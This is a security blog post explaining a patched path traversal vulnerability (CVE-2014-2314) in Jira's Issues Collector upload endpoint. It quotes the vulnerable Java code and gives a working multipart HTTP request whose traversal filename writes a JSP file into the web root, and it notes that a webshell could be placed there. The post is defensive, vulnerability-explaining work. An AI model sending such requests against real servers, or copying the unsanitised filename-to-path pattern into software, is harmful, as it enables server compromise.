Wednesday, February 26, 2014

Jira Path Traversal explained (CVE-2014-2314)

A new advisory has been published about a path traversal vulnerability affecting Jira 5.0.11 and 6.0.3. The vulnerability was corrected in July of last year and the fixes were deployed in the following months.

The attack is quite simple but, the potential impact is considerable. It could allow a attacker to upload a file that would serve as a webshell. I will explain how it was found by static analysis and why a little detail made it exploitable only on Windows operating system.


Identifying the vulnerability


The following code sample is taken from the plugin Issues Collector. The plugin support file upload to attach screenshots to a ticket. It use Jira REST api.

com/atlassian/jira/collector/plugin/rest/TemporaryAttachmentsResource.java
[...]
  @POST
  @Path("multipart/{collectorId}")
  @Consumes({"multipart/form-data"})
  @Produces({"text/html"})
  public Response attachTemporaryFileViaForm(@PathParam("collectorId") String collectorId, @MultipartFormParam("screenshot") Collection<filepart> fileParts) { ServiceOutcome outcome = this.collectorService.getCollector(collectorId);
   [...]
    FilePart filePart = (FilePart)fileParts.iterator().next();
    try
    {
     [...]

      TemporaryAttachment temporaryAttachment = createTemporaryAttachment(filePart.getName(), filePart.getContentType(), filePart.getInputStream());
      temporaryAttachmentsMonitor.add(temporaryAttachment);
      context.put("temporaryAttachment", temporaryAttachment);
      return Response.ok(renderTemplate("templates/rest/tempfilejson.vm", context)).cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build();
    }
    catch (IOException e) {
    }
    return Response.serverError().cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build();
  }

  private TemporaryAttachment createTemporaryAttachment(String fileName, String contentType, InputStream inputStream)
  {
    File tmpDir = AttachmentUtils.getTemporaryAttachmentDirectory();
    long uniqueId;
    File tempAttachmentFile;
    do
    {
      uniqueId = getUUID();
      tempAttachmentFile = new File(tmpDir, uniqueId + "_" + fileName);
    }
    while (tempAttachmentFile.exists());

    FileOutputStream output = null;
    try
    {
      output = new FileOutputStream(tempAttachmentFile);
      IOUtils.copy(inputStream, output);
      output.close();
    }
    catch (IOException e)
    {
      IOUtils.closeQuietly(output);
      log.error("Error creating temporary attachment", e);
      return null;
    }

    return new TemporaryAttachment(Long.valueOf(uniqueId), Long.valueOf(-1L), tempAttachmentFile, fileName, contentType);
  }

At the line 31, we have the file handle used to move the uploaded file to a temporary directory for attachments. The fileName value is not filter at any moment. This value come from the multipart request therefore can be control by the client.

sink
tempAttachmentFile = new File(tmpDir, uniqueId + "_" + fileName);

source
[...]createTemporaryAttachment(filePart.getName(), filePart.getContentType(), filePart.getInputStream());

Exploitation


To upload a file outside of the attachments folder, a classic path traversal pattern can be use to traverse to the root of the public web directory (/atlassian-jira/). As seen in the previous code sample, no validation is done to the file content. A JSP shell could be uploaded to gain system access.
POST /rest/collectors/1.0/tempattachment/multipart/2c1ce5fa  HTTP/1.1
Host: hackme.atlassian.net
Cookie: atlassian.xsrf.token=BQ79-A85Q-7DOM-UMFN|e98231aaaef98a0d9dc7c52e87f4e84cf9cd3085
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16266315542468
Content-Length: 345

-----------------------------16266315542468
Content-Disposition: form-data; name="screenshot"; filename="/../../../atlassian-jira/hello.jsp"
Content-Type: text/plain

Hello world!

-----------------------------16266315542468

The filename provided in the request "/../../../atlassian-jira/hello.jsp" will be concatenated to the uniqueid and preceded by the temporary directory path.

On Windows:
C:\Program Files\Atlassian\Application Data\JIRA\caches\tmp_attachments\6177763437089900999_/../../../atlassian-jira/hello.jsp

On Linux:
/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_/../../../atlassian-jira/hello.jsp

On windows the path will be minimize to "C:\Program Files\Atlassian\Application Data\JIRA\atlassian-jira\hello.jsp" and the file will be written. On the other hand, Linux systems will evaluate the complete chain and identify that the folder "/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_" doesn't exist. Therefore, the attack would not be possible.

At this point, you can replace the file uploaded by a webshell that would be publicly available.

Remediation


If you maintain a Jira instance, you should have received the update already. If it is not the case, refer to the original advisory.

References


JIRA Security Advisory 2014-02-26 : The official advisory
WASC: Path traversal : Complete description of the Path traversal vulnerability

No comments:

Post a Comment